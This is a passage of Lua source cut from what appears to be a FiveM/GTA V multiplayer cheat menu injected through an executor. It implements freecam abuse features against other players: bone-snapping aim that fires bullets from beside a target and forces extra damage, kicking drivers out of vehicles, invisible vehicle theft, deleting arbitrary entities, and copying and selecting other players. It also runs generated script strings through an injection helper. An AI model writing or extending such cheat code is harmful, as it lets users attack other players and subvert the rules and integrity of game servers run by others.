unarmedHash, true) local cameraPosition = GetFinalRenderedCamCoord() local cameraRotation = GetFinalRenderedCamRot(2) if not cameraPosition or not cameraRotation then clearPistolOverrides() return end local directionX = -math.sin(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)) local directionY = math.cos(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)) local aimDirection = vector3(directionX, directionY, math.sin(math.rad(cameraRotation.x))) local endpoint = cameraPosition + aimDirection * 1000.0 local ray = StartShapeTestRay( cameraPosition.x, cameraPosition.y, cameraPosition.z, endpoint.x, endpoint.y, endpoint.z, -1, playerPed, 0 ) local rayStatus, hit, hitPosition, surfaceNormal, hitEntity = GetShapeTestResult(ray) hitPosition = hit and hitPosition or endpoint local aimPoint = hitPosition local targetPed = hitEntity and hitEntity ~= 0 and IsEntityAPed(hitEntity) and hitEntity or nil local boneTargets if targetPed and DoesEntityExist(targetPed) then local boneIds = { 31086, 39317, 45509, 40269, 22711, 2992, 18905, 57005, 11816, 51826, 58271, 36864, 63931, 52301, 14201, 20781, 2108 } local candidates = {} for index = 1, #boneIds, 1 do local bonePosition = GetPedBoneCoords(targetPed, boneIds[index], 0.0, 0.0, 0.0) if bonePosition and bonePosition.x then local dx, dy, dz = bonePosition.x - hitPosition.x, bonePosition.y - hitPosition.y, bonePosition.z - hitPosition.z candidates[#candidates + 1] = { pos = bonePosition, d2 = dx * dx + dy * dy + dz * dz } end end table.sort(candidates, function(first, second) return first.d2 < second.d2 end) boneTargets = {} for index = 1, math.min(3, #candidates), 1 do boneTargets[#boneTargets + 1] = candidates[index].pos end aimPoint = boneTargets[1] or aimPoint end if boneTargets then for index = 1, #boneTargets, 1 do local position = boneTargets[index] RequestCollisionAtCoord(position.x, position.y, position.z) RequestAdditionalCollisionAtCoord(position.x, position.y, position.z) end else RequestCollisionAtCoord(aimPoint.x, aimPoint.y, aimPoint.z) RequestAdditionalCollisionAtCoord(aimPoint.x, aimPoint.y, aimPoint.z) end local playerPosition = GetEntityCoords(playerPed) local previousHealth = targetPed and DoesEntityExist(targetPed) and GetEntityHealth(targetPed) or nil for shot = 1, shotCount, 1 do local target = boneTargets and #boneTargets > 0 and boneTargets[(shot - 1) % #boneTargets + 1] or aimPoint local dx, dy, dz = playerPosition.x - target.x, playerPosition.y - target.y, playerPosition.z - target.z local distance = math.max(math.sqrt(dx * dx + dy * dy + dz * dz), 0.01) local startX = target.x - dx / distance * 0.15 local startY = target.y - dy / distance * 0.15 local startZ = target.z - dz / distance * 0.15 local cameraDx, cameraDy, cameraDz = target.x - cameraPosition.x, target.y - cameraPosition.y, target.z - cameraPosition.z local speed = math.max(math.sqrt(cameraDx * cameraDx + cameraDy * cameraDy + cameraDz * cameraDz) * 2.0, 2000.0) if ShootSingleBulletBetweenCoordsIgnoreEntity then ShootSingleBulletBetweenCoordsIgnoreEntity( startX, startY, startZ, target.x, target.y, target.z, weaponDamage, true, pistolHash, playerPed, true, false, speed, playerPed, true, false, true, true, true, false ) else ShootSingleBulletBetweenCoords( startX, startY, startZ, target.x, target.y, target.z, weaponDamage, true, pistolHash, playerPed, true, false, -1.0 ) end end if targetPed and previousHealth and previousHealth > 0 then Citizen.Wait(40) if previousHealth <= GetEntityHealth(targetPed) then ApplyDamageToPed(targetPed, math.max(25, weaponDamage), false) end end SetCurrentPedWeapon(playerPed, unarmedHash, true) end function menuUtilities.freecamSpawnObject(origin, direction, rotation) local state = menu.vars.freecamMenu if not state then return end local selected = state.objectList[state.selectedObjectIndex] if not selected or not selected.model then return end local model = selected.model if not menu.utils.isObjectWhitelisted(model) then menu.utils.notify("Object is blacklisted", "error", 2000) return end local transform = menu.utils.getFreecamPreviewTransform(model) if menu.utils.clearFreecamSpawnPreview then menu.utils.clearFreecamSpawnPreview() end if transform then menu.utils.spawnFreecamObjectFromTransform(model, transform) else menu.utils.spawnFreecamObjectFromRaycast(model, origin, direction, rotation) end end function menuUtilities.freecamSpawnCustomObject(origin, direction, rotation) local state = menu.vars.freecamMenu if not state then return end local objects = menu.vars.customObjects or {} if #objects == 0 then menu.utils.notify("No custom objects. Add some in Freecam -> Spawn Custom", "error", 2000) return end local model = objects[state.selectedCustomObjectIndex] or objects[1] if not menu.utils.isObjectWhitelisted(model) then menu.utils.notify("Object is blacklisted", "error", 2000) return end local transform = menu.utils.getFreecamPreviewTransform(model) if menu.utils.clearFreecamSpawnPreview then menu.utils.clearFreecamSpawnPreview() end if transform then menu.utils.spawnFreecamObjectFromTransform(model, transform) else menu.utils.spawnFreecamObjectFromRaycast(model, origin, direction, rotation) end end function menuUtilities.freecamSpawnCustomVehicle(origin, direction, rotation) local state = menu.vars.freecamMenu if not state then return end local vehicles = menu.vars.customVehicles or {} if #vehicles == 0 then menu.utils.notify("No custom vehicles. Add some in Freecam -> Spawn Custom -> Vehicles", "error", 2000) return end local model = vehicles[state.selectedCustomVehicleIndex] or vehicles[1] if not menu.utils.isVehicleWhitelisted(model) then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end if not _G.freecamVehicleSpawnTimer then _G.freecamVehicleSpawnTimer = GetGameTimer() + 1000 elseif GetGameTimer() > _G.freecamVehicleSpawnTimer then _G.freecamVehicleSpawnTimer = nil else return end local preview = menu.utils.getFreecamVehiclePreviewSpawn(model) if menu.utils.clearFreecamSpawnPreview then menu.utils.clearFreecamSpawnPreview() end local spawnPosition local heading = rotation.z if preview then spawnPosition = vector3(preview.x, preview.y, preview.z) heading = preview.heading or heading else local endpoint = origin + direction * 1000.0 local ray = StartShapeTestRay( origin.x, origin.y, origin.z, endpoint.x, endpoint.y, endpoint.z, 1, PlayerPedId(), 0 ) local status, hit, hitPosition = GetShapeTestResult(ray) local deadline = GetGameTimer() + 100 while status == 1 and deadline > GetGameTimer() do status, hit, hitPosition = GetShapeTestResult(ray) Citizen.Wait(0) end if status ~= 2 or not hit or not hitPosition then menu.utils.notify("No valid spawn surface", "error", 2000) return end RequestCollisionAtCoord(hitPosition.x, hitPosition.y, hitPosition.z) RequestAdditionalCollisionAtCoord(hitPosition.x, hitPosition.y, hitPosition.z) spawnPosition = vector3(hitPosition.x, hitPosition.y, hitPosition.z) end local modelHash = GetHashKey(model) if IsModelInCdimage(modelHash) and IsModelAVehicle(modelHash) then local script = string.format( [[ local spawnPos = vector3(%.2f, %.2f, %.2f) RequestCollisionAtCoord(spawnPos.x, spawnPos.y, spawnPos.z) RequestAdditionalCollisionAtCoord(spawnPos.x, spawnPos.y, spawnPos.z) local vehicleModel = "%s" _G.Citizen.Bongs.utils.spawnVehicle(vehicleModel, spawnPos, %.2f, function(veh) if not veh or not DoesEntityExist(veh) then return end Citizen.Wait(50) SetEntityAsMissionEntity(veh, true, true) SetVehicleOnGroundProperly(veh) SetVehicleEngineOn(veh, true, true, false) end, %d) ]], spawnPosition.x, spawnPosition.y, spawnPosition.z, model, heading, menu.vars.bools and menu.vars.bools.safeVehicleSpawn and 1 or 0 ) menu.utils.safeExecute(script) return end if menu.functions and menu.functions.notifySpawnCustom then menu.functions.notifySpawnCustom("Model does not exist", "error", 2000) else menu.utils.notify("Model does not exist", "error", 2000) end end function menuUtilities.freecamSpawnCustomPed(origin, direction, unusedParameter) local state = menu.vars.freecamMenu if not state then return end local peds = menu.vars.customPeds or {} if #peds == 0 then menu.utils.notify("No custom peds. Add some in Freecam -> Spawn Custom -> Peds", "error", 2000) return end local model = peds[state.selectedCustomPedIndex] or peds[1] if not menu.utils.isWSPedWhitelisted(model) then menu.utils.notify("Ped is blacklisted", "error", 2000) return end if not _G.freecamPedSpawnTimer then _G.freecamPedSpawnTimer = GetGameTimer() + 1000 elseif GetGameTimer() > _G.freecamPedSpawnTimer then _G.freecamPedSpawnTimer = nil else return end local endpoint = origin + direction * 1000.0 local ray = StartShapeTestRay(origin.x, origin.y, origin.z, endpoint.x, endpoint.y, endpoint.z, 1, PlayerPedId(), 0) local status, hit, hitPosition, surfaceNormal, hitEntity = GetShapeTestResult(ray) if hit then local modelHash = GetHashKey(model) if IsModelInCdimage(modelHash) and IsModelAPed(modelHash) then RequestCollisionAtCoord(hitPosition.x, hitPosition.y, hitPosition.z) RequestAdditionalCollisionAtCoord(hitPosition.x, hitPosition.y, hitPosition.z) local script = [[ local createThread = CreateThread or (Citizen and Citizen.CreateThread) local waitFn = Wait or (Citizen and Citizen.Wait) if not createThread or not waitFn then return end createThread(function() local spawnPos = vector3(]] .. hitPosition.x .. ", " .. hitPosition.y .. ", " .. hitPosition.z .. [[ ) local model = GetHashKey("]] .. model .. [[ ") RequestModel(model) while not HasModelLoaded(model) do waitFn(0) end local ped = CreatePed(4, model, spawnPos.x, spawnPos.y, spawnPos.z, 0, true, true) pcall(function() local ent = Entity(ped) if ent and ent.state then ent.state:set("pm_menu_spawned", true, true) end end) if DoesEntityExist(ped) then SetEntityAsMissionEntity(ped, true, true) SetPedFleeAttributes(ped, 0, false) SetPedCombatAttributes(ped, 17, true) SetBlockingOfNonTemporaryEvents(ped, true) SetModelAsNoLongerNeeded(model) end end)]] menu.utils.safeExecute(script) return end menu.utils.notify("Ped model does not exist: " .. tostring(model), "error", 2000) else menu.utils.notify("No valid spawn surface", "error", 2000) end end function menuUtilities.executeFreecamShooting() local state = menu.vars.freecamMenu if not state then return end local cameraPosition = GetGameplayCamCoord() local cameraRotation = GetGameplayCamRot(2) local directionX = -math.sin(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)) local directionY = math.cos(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)) local direction = vector3(directionX, directionY, math.sin(math.rad(cameraRotation.x))) local endpoint = cameraPosition + direction * 50.0 ShootSingleBulletBetweenCoords( cameraPosition.x, cameraPosition.y, cameraPosition.z, endpoint.x, endpoint.y, endpoint.z, 500, true, state.shootWeapon, PlayerPedId(), true, false, 100.0 ) end function menuUtilities.getFreecamPlayerRestoreState(ped) local state = { coords = GetEntityCoords(ped), vehicle = 0, seat = nil, exitCoords = nil, visible = IsEntityVisible(ped) } if IsPedInAnyVehicle(ped, false) then local vehicle = GetVehiclePedIsIn(ped, false) if vehicle and vehicle ~= 0 and DoesEntityExist(vehicle) then state.vehicle = vehicle state.exitCoords = GetOffsetFromEntityInWorldCoords(vehicle, 2.5, 0.0, 0.35) local maxPassengers = GetVehicleMaxNumberOfPassengers(vehicle) or -1 for seat = -1, maxPassengers - 1, 1 do if GetPedInVehicleSeat(vehicle, seat) == ped then state.seat = seat break end end end elseif menu.vars then local vehicle = menu.vars.freecamOriginalPlayerVehicle if vehicle and vehicle ~= 0 and DoesEntityExist(vehicle) then state.vehicle = vehicle state.seat = menu.vars.freecamOriginalPlayerSeat state.exitCoords = GetOffsetFromEntityInWorldCoords(vehicle, 2.5, 0.0, 0.35) end end return state end function menuUtilities.tryRestorePlayerVehicleSeat(ped, state) if not ped or ped == 0 or not DoesEntityExist(ped) or not state then return false end local vehicle = state.vehicle if not vehicle or vehicle == 0 or not DoesEntityExist(vehicle) then return false end ClearPedTasksImmediately(ped) if state.seat ~= nil and IsVehicleSeatFree(vehicle, state.seat) then SetPedIntoVehicle(ped, vehicle, state.seat) return true end local maxPassengers = GetVehicleMaxNumberOfPassengers(vehicle) or -1 for seat = -1, maxPassengers - 1, 1 do if IsVehicleSeatFree(vehicle, seat) then SetPedIntoVehicle(ped, vehicle, seat) return true end end return false end function menuUtilities.prepareFreecamPlayerVehicleInteraction(ped, state, noOffset) if not ped or ped == 0 or not state or not state.vehicle or state.vehicle == 0 or not DoesEntityExist(state.vehicle) then return end ClearPedTasksImmediately(ped) local position = state.exitCoords or state.coords if not position then return end if noOffset then SetEntityCoordsNoOffset(ped, position.x, position.y, position.z, false, false, false) else SetEntityCoords(ped, position.x, position.y, position.z, false, false, false, true) end Citizen.Wait(23) end function menuUtilities.restoreFreecamPlayerState(ped, state, noOffset) if not ped or ped == 0 or not state or not state.coords then return end ClearPedTasksImmediately(ped) local function restoreVisibility() if state.visible ~= nil then SetEntityVisible(ped, state.visible, false) end end if menu.utils.tryRestorePlayerVehicleSeat(ped, state) then restoreVisibility() return end if noOffset then SetEntityCoordsNoOffset(ped, state.coords.x, state.coords.y, state.coords.z, false, false, false) else SetEntityCoords(ped, state.coords.x, state.coords.y, state.coords.z, false, false, false, true) end restoreVisibility() end function menuUtilities.restoreFreecamPlayerAfterLaunch(ped, state) if not ped or ped == 0 or not DoesEntityExist(ped) then return end if IsEntityAttached(ped) then DetachEntity(ped, true, true) end ClearPedTasksImmediately(ped) FreezeEntityPosition(ped, false) if not (state and menu.utils.tryRestorePlayerVehicleSeat(ped, state)) and menu.utils.freecamBlackHoleRestorePedToFreecamSpot then menu.utils.freecamBlackHoleRestorePedToFreecamSpot(ped, state, true) end SetEntityVelocity(ped, 0.0, 0.0, 0.0) SetEntityVisible(ped, true, false) ResetEntityAlpha(ped) local invisibilityStack = _G.pmTempInvisStack if invisibilityStack and invisibilityStack.ref and invisibilityStack.ref > 0 then invisibilityStack.ref = 0 invisibilityStack.restoreVisible = nil end end function menuUtilities.executeFreecamKickVehicle() if not _G.freecamVehicleInteractionTimer then _G.freecamVehicleInteractionTimer = GetGameTimer() + 1000 elseif GetGameTimer() > _G.freecamVehicleInteractionTimer then _G.freecamVehicleInteractionTimer = nil else return end Citizen.CreateThread(function() local vehicle = menu.utils.getVehicleFromRaycast() if not vehicle or not DoesEntityExist(vehicle) then menu.utils.notify("No vehicle found", "info", 2000) return end if IsVehicleSeatFree(vehicle, -1) then menu.utils.notify("No driver found", "info", 2000) return end menu.utils.kickDriverWithFreecamSequence(vehicle) menu.utils.notify("Driver kicked", "success", 2000) end) end function menuUtilities.executeFreecamVehicleThief() if not _G.freecamVehicleInteractionTimer then _G.freecamVehicleInteractionTimer = GetGameTimer() + 1000 elseif GetGameTimer() > _G.freecamVehicleInteractionTimer then _G.freecamVehicleInteractionTimer = nil else return end local vehicle = menu.utils.getVehicleFromRaycast() Citizen.CreateThread(function() if not vehicle or not DoesEntityExist(vehicle) then return end local playerPed = PlayerPedId() local restoreState = menu.utils.getFreecamPlayerRestoreState(playerPed) menu.utils.prepareFreecamPlayerVehicleInteraction(playerPed, restoreState, false) menu.utils.withTempPlayerInvisibility(function() TaskEnterVehicle(playerPed, vehicle, 1, -1, 2.0, 8, 0) while GetVehiclePedIsIn(playerPed, false) ~= vehicle do Citizen.Wait(10) end SetEntityCoords(playerPed, GetEntityCoords(vehicle), false, false, false, true) Citizen.Wait(220) SetEntityCoords( playerPed, restoreState.coords.x, restoreState.coords.y, restoreState.coords.z, false, false, false, true ) Citizen.Wait(120) end) local modelHash = GetHashKey("mp_m_freemode_01") RequestModel(modelHash) while not HasModelLoaded(modelHash) do Citizen.Wait(50) end local position = GetEntityCoords(vehicle) local driver = CreatePed( 26, modelHash, position.x + 1.0, position.y, position.z + 1.0, GetEntityHeading(vehicle), false, false ) menu.utils.markMenuSpawnedPed(driver) SetEntityInvincible(driver, true) SetBlockingOfNonTemporaryEvents(driver, true) local outfit = { sex = 0, face = 33, skin = 8, hair_1 = 15, hair_2 = 1, hair_color_1 = 28, hair_color_2 = 0, decals_1 = 0, decals_2 = 0, tshirt_1 = 21, tshirt_2 = 4, torso_1 = 20, torso_2 = 2, arms = 17, pants_1 = 20, pants_2 = 2, shoes_1 = 7, shoes_2 = 0, mask_1 = 0, mask_2 = 0, helmet_1 = 25, helmet_2 = 1, bproof_1 = 0, bproof_2 = 0, bags_1 = 0, bags_2 = 0, beard_1 = 3, beard_2 = 10, beard_3 = 2, beard_4 = 0, chain_1 = 18, chain_2 = 0, glasses_1 = 29, glasses_2 = 0 } SetPedComponentVariation(driver, 3, outfit.arms, 0, 2) SetPedComponentVariation(driver, 8, outfit.tshirt_1, outfit.tshirt_2, 2) SetPedComponentVariation(driver, 11, outfit.torso_1, outfit.torso_2, 2) SetPedComponentVariation(driver, 4, outfit.pants_1, outfit.pants_2, 2) SetPedComponentVariation(driver, 6, outfit.shoes_1, outfit.shoes_2, 2) SetPedComponentVariation(driver, 1, outfit.mask_1, outfit.mask_2, 2) SetPedComponentVariation(driver, 9, outfit.bproof_1, outfit.bproof_2, 2) SetPedComponentVariation(driver, 5, outfit.bags_1, outfit.bags_2, 2) SetPedComponentVariation(driver, 10, outfit.decals_1, outfit.decals_2, 2) SetPedComponentVariation(driver, 7, outfit.chain_1, outfit.chain_2, 2) SetPedComponentVariation(driver, 2, outfit.hair_1, outfit.hair_2, 2) SetPedHairColor(driver, outfit.hair_color_1, outfit.hair_color_2 or 0) SetPedHeadOverlay(driver, 1, outfit.beard_1, 1.0) SetPedHeadOverlayColor(driver, 1, 1, outfit.beard_2, outfit.beard_3) if outfit.helmet_1 ~= -1 then SetPedPropIndex(driver, 0, outfit.helmet_1, outfit.helmet_2, true) else ClearPedProp(driver, 0) end if outfit.glasses_1 ~= -1 then SetPedPropIndex(driver, 1, outfit.glasses_1, outfit.glasses_2, true) else ClearPedProp(driver, 1) end Citizen.Wait(480) SetPedIntoVehicle(driver, vehicle, -1) Citizen.Wait(1550) TaskVehicleDriveWander(driver, vehicle, 25.0, 786603) menu.utils.restoreFreecamPlayerState(playerPed, restoreState, false) end) end function menuUtilities.executeFreecamStealVehicle() if not _G.freecamVehicleInteractionTimer then _G.freecamVehicleInteractionTimer = GetGameTimer() + 1000 elseif GetGameTimer() > _G.freecamVehicleInteractionTimer then _G.freecamVehicleInteractionTimer = nil else return end Citizen.CreateThread(function() local vehicle = menu.utils.getVehicleFromRaycast() if not vehicle or not DoesEntityExist(vehicle) then return end local ped = PlayerPedId() local originalPosition = GetEntityCoords(ped) menu.utils.withTempPlayerInvisibility(function() TaskEnterVehicle(ped, vehicle, 1, -1, 2.0, 8, 0) Citizen.Wait(50) TaskWarpPedIntoVehicle(ped, vehicle, -1) Citizen.Wait(1500) SetEntityCoords( vehicle, originalPosition.x, originalPosition.y, originalPosition.z, false, false, false, true ) end) end) end function menuUtilities.executeFreecamDeleteEntity(origin, direction, unusedParameter) local endpoint = origin + direction * 1000.0 local ray = StartShapeTestRay(origin.x, origin.y, origin.z, endpoint.x, endpoint.y, endpoint.z, -1, playerPed, 0) local status, hit, hitPosition, surfaceNormal, hitEntity = GetShapeTestResult(ray) if hit and DoesEntityExist(hitEntity) then SetEntityAsMissionEntity(hitEntity, true, true) DeleteEntity(hitEntity) end end function menuUtilities.executeFreecamCopyOutfit(origin, direction) if not origin or not direction then return end local endpoint = origin + direction * 1000.0 local ray = StartShapeTestRay( origin.x, origin.y, origin.z, endpoint.x, endpoint.y, endpoint.z, 511, PlayerPedId(), 0 ) local status, hit, hitPosition, surfaceNormal, hitEntity = GetShapeTestResult(ray) if not hit or not hitPosition then return end local targetPed if hitEntity and hitEntity ~= 0 and DoesEntityExist(hitEntity) then if IsEntityAPed(hitEntity) then targetPed = hitEntity elseif IsEntityAVehicle(hitEntity) then local maxPassengers = GetVehicleMaxNumberOfPassengers(hitEntity) for seat = -1, maxPassengers - 1, 1 do local occupant = GetPedInVehicleSeat(hitEntity, seat) if occupant and occupant ~= 0 and DoesEntityExist(occupant) then targetPed = occupant break end end end end if not targetPed then local closestDistance = 3.0 local iterator, state, key = ipairs(GetActivePlayers()) for _, playerId in iterator, state, key do if playerId ~= PlayerId() then local ped = GetPlayerPed(playerId) if ped and ped ~= 0 and DoesEntityExist(ped) then local distance = #(hitPosition - GetEntityCoords(ped)) if closestDistance > distance then closestDistance = distance targetPed = ped end end end end end if not targetPed or not DoesEntityExist(targetPed) then menu.utils.notify("No player found", "error", 2000) return end if menu.functions.copyAppearanceFromTargetPed(targetPed) then menu.utils.notify("Outfit copied", "success", 2000) end end local function findFreecamTargetPlayer(origin, direction, requirePlayer) if not origin or not direction then return nil end local endpoint = origin + direction * 1000.0 local ray = StartShapeTestRay( origin.x, origin.y, origin.z, endpoint.x, endpoint.y, endpoint.z, 511, PlayerPedId(), 0 ) local status, hit, hitPosition, surfaceNormal, hitEntity = GetShapeTestResult(ray) if not hit or not hitPosition then return nil end local targetPed if hitEntity and hitEntity ~= 0 and DoesEntityExist(hitEntity) then if IsEntityAPed(hitEntity) then targetPed = hitEntity elseif IsEntityAVehicle(hitEntity) then local maxPassengers = GetVehicleMaxNumberOfPassengers(hitEntity) for seat = -1, maxPassengers - 1, 1 do local occupant = GetPedInVehicleSeat(hitEntity, seat) if occupant and occupant ~= 0 and DoesEntityExist(occupant) and IsPedAPlayer(occupant) then targetPed = occupant break end end end end if not targetPed then local closestDistance = 3.0 local iterator, state, key = ipairs(GetActivePlayers()) for _, playerId in iterator, state, key do if playerId ~= PlayerId() then local ped = GetPlayerPed(playerId) if ped and ped ~= 0 and DoesEntityExist(ped) then local distance = #(hitPosition - GetEntityCoords(ped)) if closestDistance > distance then closestDistance = distance targetPed = ped end end end end end if not targetPed or not DoesEntityExist(targetPed) then return nil end local iterator, state, key = ipairs(GetActivePlayers()) for _, playerId in iterator, state, key do if playerId ~= PlayerId() and GetPlayerPed(playerId) == targetPed then return targetPed, playerId end end return nil end function menuUtilities.executeFreecamSelectPlayer(origin, direction) local targetPed, targetPlayer = findFreecamTargetPlayer(origin, direction, true) if not targetPlayer then return end local serverId = GetPlayerServerId(targetPlayer) if serverId and serverId > 0 then menu.vars.selectedPlayers = menu.vars.selectedPlayers or {} menu.vars.selectedPlayers[serverId] = { serverId = serverId, playerId = targetPlayer, ped = targetPed } menu.vars.selectedPlayer = { serverId = serverId, playerId = targetPlayer, ped = targetPed } if menu.logic.buildPlayerOptionsTab then menu.logic.buildPlayerOptionsTab() end end end function menuUtilities.executeFreecamUnselectPlayer(origin, direction) local targetPed, targetPlayer = findFreecamTargetPlayer(origin, direction, true) if not targetPlayer then return end local serverId = GetPlayerServerId(targetPlayer) if not serverId or serverId <= 0 then return end menu.vars.selectedPlayers = menu.vars.selectedPlayers or {} if not menu.vars.selectedPlayers[serverId] then return end menu.vars.selectedPlayers[serverId] = nil if menu.vars.selectedPlayer and menu.vars.selectedPlayer.serverId == serverId then menu.vars.selectedPlayer = nil local selectedIterator, selectedState, selectedKey = pairs(menu.vars.selectedPlayers) for selectedId, entry in selectedIterator, selectedState, selectedKey do menu.vars.selectedPlayer = { serverId = selectedId, playerId = entry.playerId, ped = entry.ped } break end end if menu.logic.buildPlayerOptionsTab then menu.logic.buildPlayerOptionsTab() end end function menuUtilities.isFreecamBlackHoleOptionSelected() local state = menu.vars.freecamMenu if not state then return state end return state.menuOptions[state.selectedOption] == "Black Hole" end function menuUtilities.isFreecamBlackHoleHoldActive() return menu.utils.isFreecamBlackHoleOptionSelected() and Ham.isMouseDown and Ham.isMouseDown(0) or false end function menuUtilities.freecamBlackHoleGetScreenSize() if Hdn and Hdn.getResolution then local width, height = Hdn.getResolution() if width and height and width > 0 and height > 0 then return width, height end end return Ham.getResolution() end function menuUtilities.freecamBlackHoleHudMetrics() local width, height = menu.utils.freecamBlackHoleGetScreenSize() local outerRadius = math.min(width, height) * 0.095 * 1.25 * 0.5 local innerRadius = outerRadius * 0.66 local steerRadius = math.max(0.0, outerRadius - innerRadius - 2.0) return width, height, outerRadius, innerRadius, steerRadius end function menuUtilities.updateFreecamBlackHoleSteerFromLook(state) if not state or state.menuOptions[state.selectedOption] ~= "Black Hole" then return end if not Ham.isMouseDown or not Ham.isMouseDown(0) then state.freecamBlackHoleSteerX = 0 state.freecamBlackHoleSteerY = 0 state.freecamBlackHoleDistance = 0.0 return end local cameraPosition = GetFinalRenderedCamCoord() local cameraRotation = GetFinalRenderedCamRot(2) if not cameraPosition or not cameraRotation then return end local width, height, outerRadius, innerRadius, steerRadius = menu.utils.freecamBlackHoleHudMetrics() local forward = menu.utils.freecamBlackHoleCamForward(cameraRotation) local worldX = cameraPosition.x + forward.x * 420.0 local worldY = cameraPosition.y + forward.y * 420.0 local worldZ = cameraPosition.z + forward.z * 420.0 local steerX, steerY = 0.0, 0.0 local visible, screenX, screenY = GetScreenCoordFromWorldCoord(worldX, worldY, worldZ) if visible and screenX and screenY then steerX = (screenX - 0.5) * width steerY = (screenY - 0.5) * height else steerY = -forward.z * height * 0.58 end local length = math.sqrt(steerX * steerX + steerY * steerY) if steerRadius < length and length > 1.0E-6 then steerX = steerX * steerRadius / length steerY = steerY * steerRadius / length end state.freecamBlackHoleSteerX = steerX state.freecamBlackHoleSteerY = steerY end function menuUtilities.freecamBlackHoleCamRightUp(rotation) local forward = menu.utils.freecamBlackHoleCamForward(rotation) local referenceUp = vector3(0.0, 0.0, 1.0) local rightX = referenceUp.y * forward.z - referenceUp.z * forward.y local rightY = referenceUp.z * forward.x - referenceUp.x * forward.z local rightZ = referenceUp.x * forward.y - referenceUp.y * forward.x local rightLength = math.sqrt(rightX * rightX + rightY * rightY + rightZ * rightZ) if rightLength < 1.0E-6 then referenceUp = vector3(0.0, 1.0, 0.0) rightX = referenceUp.y * forward.z - referenceUp.z * forward.y rightY = referenceUp.z * forward.x - referenceUp.x * forward.z rightZ = referenceUp.x * forward.y - referenceUp.y * forward.x rightLength = math.sqrt(rightX * rightX + rightY * rightY + rightZ * rightZ) end local right = vector3(rightX / rightLength, rightY / rightLength, rightZ / rightLength) local up = vector3( forward.y * right.z - forward.z * right.y, forward.z * right.x - forward.x * right.z, forward.x * right.y - forward.y * right.x ) return forward, right, up end function menuUtilities.freecamBlackHoleCamForward(rotation) local pitch = math.rad(rotation.x) local yaw = math.rad(rotation.z) return vector3(-math.sin(yaw) * math.cos(pitch), math.cos(yaw) * math.cos(pitch), math.sin(pitch)) end function menuUtilities.freecamBlackHoleNormalizeVec(vector) local length = math.sqrt(vector.x * vector.x + vector.y * vector.y + vector.z * vector.z) if length < 1.0E-5 then return vector3(0.0, 0.0, 1.0) end return vector3(vector.x / length, vector.y / length, vector.z / length) end function menuUtilities.freecamBlackHoleDirFromScreenOffset( rotation, width, height, fieldOfView, offsetX, offsetY ) local forward, right, up = menu.utils.freecamBlackHoleCamRightUp(rotation) local verticalScale = math.tan(math.rad(fieldOfView * 0.5)) local horizontalScale = verticalScale * width / math.max(height, 1.0) local horizontalOffset = offsetX / (width * 0.5) * horizontalScale local verticalOffset = -offsetY / (height * 0.5) * verticalScale return menu.utils.freecamBlackHoleNormalizeVec(forward + right * horizontalOffset + up * verticalOffset) end function menuUtilities.freecamBlackHoleGetTargetCoords() local state = menu.vars.freecamMenu if not state or not menu.utils.isFreecamBlackHoleHoldActive() then return nil end menu.utils.updateFreecamBlackHoleSteerFromLook(state) local cameraPosition = GetFinalRenderedCamCoord() local cameraRotation = GetFinalRenderedCamRot(2) if not cameraPosition or not cameraRotation then return nil end local width, height = menu.utils.freecamBlackHoleGetScreenSize() local fieldOfView = 50.0 if type(GetFinalRenderedCamFov) == "function" then fieldOfView = GetFinalRenderedCamFov() elseif type(GetGameplayCamFov) == "function" then fieldOfView = GetGameplayCamFov() end local direction = menu.utils.freecamBlackHoleDirFromScreenOffset( cameraRotation, width, height, fieldOfView, state.freecamBlackHoleSteerX or 0.0, state.freecamBlackHoleSteerY or 0.0 ) local distanceOffset = state.freecamBlackHoleDistance or 0.0 local function applyDistanceOffset(point) if not point or math.abs(distanceOffset) < 1.0E-4 then return point end local dx, dy, dz = point.x - cameraPosition.x, point.y - cameraPosition.y, point.z - cameraPosition.z local length = math.sqrt(dx * dx + dy * dy + dz * dz) if length < 1.0E-4 then return cameraPosition + direction * math.max(50.0 + distanceOffset, 5.0) end local factor = math.max(length + distanceOffset, 5.0) / length return vector3( cameraPosition.x + dx * factor, cameraPosition.y + dy * factor, cameraPosition.z + dz * factor ) end local function ensureMinimumDistance(point, minimum) minimum = minimum or 50.0 local dx, dy, dz = point.x - cameraPosition.x, point.y - cameraPosition.y, point.z - cameraPosition.z if minimum > math.sqrt(dx * dx + dy * dy + dz * dz) then return cameraPosition + direction * minimum end return point end local fallbackPosition = cameraPosition + direction * 50.0 if (state.freecamBlackHoleSteerY or 0.0) < -(height * 0.012) or direction.z > 0.085 then return applyDistanceOffset(ensureMinimumDistance(fallbackPosition)), true end local farPosition = cameraPosition + direction * 4500.0 local ray = StartShapeTestRay( cameraPosition.x, cameraPosition.y, cameraPosition.z, farPosition.x, farPosition.y, farPosition.z, 511, PlayerPedId(), 0 ) local rayStatus, hit, hitPosition = GetShapeTestResult(ray) if hit and hitPosition then local dx, dy, dz = hitPosition.x - cameraPosition.x, hitPosition.y - cameraPosition.y, hitPosition.z - cameraPosition.z local distance = math.sqrt(dx * dx + dy * dy + dz * dz) local targetDistance = 50.0 if distance < 38.0 then targetDistance = math.max(10.0, math.min(50.0, distance + 5.0)) end return applyDistanceOffset(ensureMinimumDistance(hitPosition, targetDistance)), false end local groundPosition = cameraPosition + direction * 260.0 local rayStart = vector3(groundPosition.x, groundPosition.y, groundPosition.z + 150.0) local rayEnd = vector3(groundPosition.x, groundPosition.y, groundPosition.z - 700.0) local groundRay = StartShapeTestRay( rayStart.x, rayStart.y, rayStart.z, rayEnd.x, rayEnd.y, rayEnd.z, 511, PlayerPedId(), 0 ) local groundStatus, groundHit, groundHitPosition = GetShapeTestResult(groundRay) if groundHit and groundHitPosition then return applyDistanceOffset(ensureMinimumDistance(groundHitPosition)), false end return applyDistanceOffset(ensureMinimumDistance(fallbackPosition)), false end function menuUtilities.drawFreecamBlackHoleHud() local state = menu.vars.freecamMenu if not state or state.menuOptions[state.selectedOption] ~= "Black Hole" then return end local width, height, outerRadius, innerRadius, steerRadius = menu.utils.freecamBlackHoleHudMetrics() local indicatorX = width * 0.5 + (state.freecamBlackHoleSteerX or 0) local indicatorY = height * 0.5 + (state.freecamBlackHoleSteerY or 0) local circles = { { 2.8, 3.2, innerRadius + 5.0, 20, 1.0, true }, { 2.8, 3.2, innerRadius + 3.2, 34, 1.0, true }, { 